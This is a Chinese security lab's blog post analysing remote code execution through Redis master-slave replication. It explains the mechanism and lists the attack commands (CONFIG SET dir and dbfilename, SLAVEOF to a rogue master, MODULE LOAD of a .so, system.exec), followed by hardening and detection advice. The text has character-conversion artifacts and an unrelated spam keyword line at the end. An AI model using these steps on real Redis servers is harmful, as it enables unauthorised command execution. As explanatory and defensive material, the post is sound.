<strike id="kne6g"><label id="kne6g"></label></strike>

      咨詢服務(wù)熱線

      400-6446-808

      創(chuàng)安實(shí)驗室專欄
      您的當(dāng)前位置:首頁 > 創(chuàng)安實(shí)驗室專欄
      創(chuàng)安實(shí)驗室專欄丨Redis主從復(fù)制RCE分析
      發(fā)布者:創(chuàng)信華通  發(fā)布時間:2023-01-09  瀏覽量:1183次











      古語有云:“學(xué)如逆水行舟,不進(jìn)則退?!泵鎸θ缃耠S時都在變化的網(wǎng)絡(luò)安全環(huán)境更是如此。為此,創(chuàng)信華通微信公眾號特開設(shè)“創(chuàng)安實(shí)驗室專欄”,以記錄創(chuàng)信華通創(chuàng)安實(shí)驗室在技術(shù)上的探索,加強(qiáng)同行間的交流,相互學(xué)習(xí),共同進(jìn)步。


      ?+

      +

      Redis主從復(fù)制RCE分析

      漏洞描述

      Redis是一套開源的使用ANSIC編寫、支持網(wǎng)絡(luò)、可基于內(nèi)存亦可持久化的日志型、鍵值存儲數(shù)據(jù)庫,并提供多種語言的API。由于其高可用性和速度優(yōu)勢,常用于緩存系統(tǒng)(“熱點(diǎn)”數(shù)據(jù):高頻讀、低頻寫)、計數(shù)器、消息隊列系統(tǒng)、排行榜、社交網(wǎng)絡(luò)和實(shí)時系統(tǒng)等。

      Redis主從復(fù)制RCE是在主從復(fù)制基礎(chǔ)上,通過復(fù)制惡意文件到本地,結(jié)合模塊加載功能將惡意文件成功加載,調(diào)用惡意文件接口實(shí)現(xiàn)命令執(zhí)行。

      影響

      Redis 4.x 和Redis 5.x版本

      漏洞原理

      Redis 2.8版本在原有單機(jī)架構(gòu)的基礎(chǔ)上,為了解決單機(jī)宕機(jī)的風(fēng)險,引入主從復(fù)制的機(jī)制,通過主服務(wù)器將數(shù)據(jù)備份到從服務(wù)器上,由主服務(wù)器負(fù)責(zé)處理外部寫操作,從服務(wù)器負(fù)責(zé)讀操作。通過數(shù)據(jù)復(fù)制,Redis的一個master可以掛載多個slave,而slave下還可以掛載多個slave,形成多層嵌套結(jié)構(gòu)。所有寫操作都在master實(shí)例中進(jìn)行,master執(zhí)行完畢后,將寫指令分發(fā)給掛在自己下面的slave節(jié)點(diǎn)。slave節(jié)點(diǎn)下如果有嵌套的slave,會將收到的寫指令進(jìn)一步分發(fā)給掛在自己下面的slave。

      Redis提供了2種不同的持久化方式,RDB方式(在指定的時間間隔內(nèi)生成數(shù)據(jù)集的時間點(diǎn)快照)和AOF方式(記錄服務(wù)器執(zhí)行的所有寫操作命令).AOF方式備份數(shù)據(jù)庫的文件名默認(rèn)為appendonly.aof,可以在配置文件中通過修改appendfilename參數(shù)進(jìn)行修改,無法在客戶端交互中動態(tài)設(shè)置appendfilename,而RDB方式備份數(shù)據(jù)庫的文件名默認(rèn)為dump.rdb,此文件名可以通過客戶端交互動態(tài)設(shè)置dbfilename來更改。

      主從復(fù)制模式下數(shù)據(jù)單向從主節(jié)點(diǎn)流向從節(jié)點(diǎn),在從節(jié)點(diǎn)首次注冊時,會對主節(jié)點(diǎn)數(shù)據(jù)進(jìn)行全量復(fù)制,復(fù)制過程中用offset記錄讀取的數(shù)據(jù)大小,以便中斷后斷點(diǎn)續(xù)傳。如果從節(jié)點(diǎn)初始沒有數(shù)據(jù),通過主從復(fù)制,可以將主節(jié)點(diǎn)設(shè)置的dbfilename文件全量復(fù)制到從節(jié)點(diǎn)的dbfilename中,從而實(shí)現(xiàn)任意文件上傳。

      任意Redis服務(wù)器在啟動時默認(rèn)作為Master主節(jié)點(diǎn),當(dāng)執(zhí)行SLAVEOF命令后自動發(fā)送請求注冊成為目標(biāo)的從節(jié)點(diǎn),未對主節(jié)點(diǎn)信息進(jìn)行校驗。

      在Reids 4.x之后,Redis新增了模塊功能,通過寫c語言并編譯出.so文件作為外部拓展,可以實(shí)現(xiàn)在redis中實(shí)現(xiàn)一個新的Redis命令。

      因此,可以通過自己模擬Redis服務(wù)器,通過執(zhí)行命令設(shè)置將其設(shè)置為主節(jié)點(diǎn),通過自行構(gòu)造主服務(wù)器響應(yīng)的情況,通過FULLRESYNC命令無損寫入想要寫的文件。結(jié)合任意模塊加載,實(shí)現(xiàn)任意命令執(zhí)行。

      攻擊流程

      0x00 模擬Redis主服務(wù)器

      主服務(wù)器需要執(zhí)行的響應(yīng)內(nèi)容如下:

      [>] PING – 從服務(wù)器探測主服務(wù)器是否存活

      [<] +PONG  存活響應(yīng)

      [>] REPLCONF – 交換主從節(jié)點(diǎn)復(fù)制信息

      [<] +OK     確認(rèn)

      [>] PSYNC/SYNC – 同步狀態(tài)以及傳輸方式

      [<] +FULLRESYNC  同步數(shù)據(jù)

      0x01 復(fù)制加載

      Config set dir /path/

      Config set dbfilename test.so  修改備份文件路徑

      SLAVEOF host port 設(shè)置為對應(yīng)服務(wù)器的從節(jié)點(diǎn)

      MODULE LOAD /path/test.so 加載復(fù)制過來的

      SLAVEOF no one  關(guān)閉主從復(fù)制關(guān)系(防止臟數(shù)據(jù)復(fù)制)

      System.exec ‘command’ 執(zhí)行命令

      對應(yīng)流量特征如下:

      修復(fù)建議

      主從復(fù)制RCE實(shí)現(xiàn)條件:

      □ Redis可訪問(未授權(quán)或有憑據(jù))

      □ 可動態(tài)修改備份文件路徑

      □ 主從未校驗可信服務(wù)端

      依據(jù)上述情況,可以對應(yīng)防護(hù):

      ① Redis設(shè)置訪問白名單(入 防止惡意訪問和出 防止惡意設(shè)置為主從)

      ② Redis添加認(rèn)證

      在配置文件/etc/redis/redis.conf中修改requirepasss屬性為強(qiáng)口令,完成后重啟服務(wù)器

      動態(tài)命令設(shè)置config set requirepass YorPass

      ③ 重命名相關(guān)命令

      在配置文件/etc/redis/redis.conf中

      rename-command CONFIG PDZA1DA也可以rename-command CONFIG "" 設(shè)置為空來禁用

      對于惡意特征,可以通過MODULE LIST命令查看當(dāng)前加載的模塊信息,重點(diǎn)關(guān)注非官方加載或者SYSTEM、EXEC等惡意關(guān)鍵詞,監(jiān)控Redis服務(wù)器上Redis進(jìn)程寫入的so文件(Windows為DLL文件),流量中可以重點(diǎn)關(guān)注FULLRESYNC命令以及相關(guān)文件二進(jìn)制特征(Webshell,Cron,Authorized_keys,so和DLL等)。

      E·N·D


      本文由創(chuàng)信華通創(chuàng)安實(shí)驗室編輯。

      本文僅限于個人學(xué)習(xí)和技術(shù)研究,由于傳播、利用此文所提供的信息而造成刑事案件、非授權(quán)攻擊等違法行為,均由使用者本人負(fù)責(zé),本單位不為此承擔(dān)任何責(zé)任。創(chuàng)安攻防實(shí)驗室擁有對此文章的修改和解釋權(quán),如欲轉(zhuǎn)載或傳播此文章,必須保證此文章的完整性,包括版權(quán)聲明等全部內(nèi)容。


      如有侵權(quán),請聯(lián)系后臺。




      創(chuàng)安實(shí)驗室

      創(chuàng)信華通創(chuàng)安實(shí)驗室,是成都創(chuàng)信華通信息技術(shù)有限公司旗下的技術(shù)研究團(tuán)隊,成立于2021年9月,主要研究紅藍(lán)對抗、重大安全保障、應(yīng)急響應(yīng)等方向。

      創(chuàng)安攻防實(shí)驗室圓滿完成了多次公安舉辦的重要網(wǎng)絡(luò)安全保障和攻防演習(xí)活動,并積極參加各類網(wǎng)絡(luò)安全競賽,屢獲殊榮。

      創(chuàng)安攻防實(shí)驗室秉承創(chuàng)信華通的發(fā)展理念,致力打造國內(nèi)一流網(wǎng)絡(luò)安全團(tuán)隊。



      亚洲伊人久久大香线焦,欧美日韩国产高清一区二区三区,国产人免费人成免费视频,亚洲高清在线观看看片